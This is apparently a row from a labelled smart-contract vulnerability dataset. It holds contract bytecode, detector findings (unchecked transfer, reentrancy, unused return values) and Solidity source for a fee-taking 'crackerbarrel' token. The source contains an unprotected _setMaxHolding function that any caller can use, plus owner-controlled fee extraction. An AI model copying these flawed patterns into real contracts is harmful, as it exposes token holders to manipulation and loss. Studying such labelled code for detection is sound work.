732e00000000000081525060200191505060405180910390fd5b61108b81600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8790919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e381600254611d6b90919063ffffffff16565b6002819055506110fd33600661221090919063ffffffff16565b801561114857506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156111635761116133600661224090919063ffffffff16565b505b50565b60006111726006611d3c565b905090565b60025481565b60096020528060005260406000206000915090505481565b600b6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461120557600080fd5b7340ba9b6421d584cec10330f882c5a343d8466b7173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611295575073f94d66fb399a98b33563d87447b41a6a75bffdf073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b611307576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74205472616e73666572204f7574207468697320746f6b656e000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561137857600080fd5b505af115801561138c573d6000803e3d6000fd5b505050506040513d60208110156113a257600080fd5b810190808051906020019092919050505050505050565b60015481565b73f94d66fb399a98b33563d87447b41a6a75bffdf081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061141182600661221090919063ffffffff16565b61141e57600090506115c1565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561146f57600090506115c1565b6000600560009054906101000a900460ff166115795760006114d9600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611d8790919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506115706127106115626301e13380611554866115466001548861227090919063ffffffff16565b61227090919063ffffffff16565b61229f90919063ffffffff16565b61229f90919063ffffffff16565b925050506115bc565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b809150505b919050565b600560009054906101000a900460ff1615611649576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5374616b696e672068617320656e64656400000000000000000000000000000081525060200191505060405180910390fd5b600081116116bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600254811115611737576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f20737061636520617661696c61626c65000000000000000000000000000081525060200191505060405180910390fd5b7340ba9b6421d584cec10330f882c5a343d8466b7173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156117da57600080fd5b505af11580156117ee573d6000803e3d6000fd5b505050506040513d602081101561180457600080fd5b8101908080519060200190929190505050611887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61189033611d9e565b6118e281600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6b90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061193a81600254611d8790919063ffffffff16565b60028190555061195433600661221090919063ffffffff16565b61196e5761196c3360066122b890919063ffffffff16565b505b42600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6301e1338081565b60086020528060005260406000206000915090505481565b600c6020528060005260406000206000915090505481565b6812f939c99edab8000081565b60035481565b62278d0081565b690dc3a8351f3d86a0000081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7057600080fd5b600560009054906101000a900460ff1615611af3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f5374616b696e6720616c726561647920656e646564000000000000000000000081525060200191505060405180910390fd5b60005b611b006006611d3c565b811015611b9457611b23611b1e826006611d5190919063ffffffff16565b6113fb565b600c6000611b3b846006611d5190919063ffffffff16565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b8d600182611d6b90919063ffffffff16565b9050611af6565b506001600560006101000a81548160ff0219169083151502179055506001905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c0f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611c4957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a6020528060005260406000206000915090505481565b7340ba9b6421d584cec10330f882c5a343d8466b7181565b60045481565b6000611d4a826000016122e8565b9050919050565b6000611d6083600001836122f9565b60001c905092915050565b600080828401905083811015611d7d57fe5b8091505092915050565b600082821115611d9357fe5b818303905092915050565b6000611da9826113fb565b905060008111156121c8576000611dde612710611dd060648561227090919063ffffffff16565b61229f90919063ffffffff16565b90506000611df58284611d8790919063ffffffff16565b905073f94d66fb399a98b33563d87447b41a6a75bffdf073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611e9c57600080fd5b505af1158015611eb0573d6000803e3d6000fd5b505050506040513d6020811015611ec657600080fd5b8101908080519060200190929190505050611f49576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b73f94d66fb399a98b33563d87447b41a6a75bffdf073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611fce57600080fd5b505af1158015611fe2573d6000803e3d6000fd5b505050506040513d6020811015611ff857600080fd5b810190808051906020019092919050505061207b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061211281600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6b90919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061216a83600354611d6b90919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308484604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505b42600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000612238836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61237c565b905092915050565b6000612268836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61239f565b905092915050565b6000808284029050600084148061228f57508284828161228c57fe5b04145b61229557fe5b8091505092915050565b6000808284816122ab57fe5b0490508091505092915050565b60006122e0836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612487565b905092915050565b600081600001805490509050919050565b60008183600001805490501161235a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806124f86022913960400191505060405180910390fd5b82600001828154811061236957fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461247b57600060018203905060006001866000018054905003905060008660000182815481106123ea57fe5b906000526020600020015490508087600001848154811061240757fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061243f57fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612481565b60009150505b92915050565b6000612493838361237c565b6124ec5782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506124f1565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e6473596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea26469706673582212209cfac0dd5b112eb3778a120e4e929ec763c3da2b2df0f73a4dacd6f018690f3964736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,038 |
0xCd5b0667BDE8487D975995E16832986136407AAd
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract crackerbarrel is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"crackerbarrel";
string private constant _symbol = unicode"cheez";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 12;
uint256 private _feeRate = 13;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 2;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 12;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (9 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 12;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 2000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (180 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
}
|
0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613083565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b32565b61057e565b6040516101af9190613068565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a5565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae3565b6105ac565b6040516102179190613068565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a5565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc0565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c38565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6e565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a55565b6108d0565b60405161032591906132a5565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a55565b610999565b60405161037991906132a5565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9a565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613083565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b32565b610ba3565b6040516104239190613068565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613068565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a55565b610bd8565b60405161048b91906132a5565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6e565b6040516104e491906132a5565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa7565b610da0565b60405161052191906132a5565b60405180910390f35b34801561053657600080fd5b5061053f610e27565b005b60606040518060400160405280600d81526020017f637261636b657262617272656c00000000000000000000000000000000000000815250905090565b600061059261058b611337565b848461133f565b6001905092915050565b600067016345785d8a0000905090565b60006105b984848461150a565b61067a846105c5611337565b61067585604051806060016040528060288152602001613a1160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611337565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3b9092919063ffffffff16565b61133f565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611337565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613165565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a5565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613285565b60405180910390fd5b8060ff1660158190555050565b6107e0611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c5565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613068565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611337565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611e9f565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0b565b9050919050565b6109f2611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f636865657a000000000000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611337565b848461150a565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346b565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611337565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f79565b50565b610cb1611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c5565b60405180910390fd5b6001601360146101000a81548160ff02191690831515021790555060b442610d66919061338a565b601481905550565b6000610d9b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2f611337565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb3906131c5565b60405180910390fd5b601360149054906101000a900460ff1615610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390613245565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a000061133f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe157600080fd5b505afa158015610ff5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110199190612a7e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c464